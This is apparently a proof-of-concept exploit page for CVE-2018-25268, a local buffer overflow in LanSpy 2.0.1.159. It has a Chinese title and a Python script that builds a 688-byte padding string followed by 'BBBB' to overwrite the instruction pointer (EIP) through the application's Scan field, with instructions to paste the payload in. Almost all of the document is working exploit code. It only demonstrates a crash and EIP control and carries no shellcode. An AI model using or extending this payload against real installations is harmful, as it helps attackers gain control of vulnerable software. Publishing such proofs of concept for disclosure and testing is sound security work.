CVE-2018-25268 LanSpy本地缓冲区溢出漏洞

# PoC for CVE-2018-25268 (LanSpy Local Buffer Overflow) # This script generates a payload to crash LanSpy 2.0.1.159 via the scan field. # Usage: Input the generated payload into the 'Scan' field of the vulnerable application. import sys def generate_payload(): # Padding to fill the buffer up to the EIP overwrite point padding = b"A" * 688 # 4 bytes to overwrite the Instruction Pointer (EIP) # Using 'BBBB' (0x42424242) to cause a crash and verify control eip_overwrite = b"BBBB" payload = padding + eip_overwrite return payload if __name__ == "__main__": exploit = generate_payload() print(f"[+] Payload length: {len(exploit)} bytes") print(f"[+] Payload: {exploit}") print("[+] Copy this payload into the 'Scan' field of LanSpy to trigger the vulnerability.")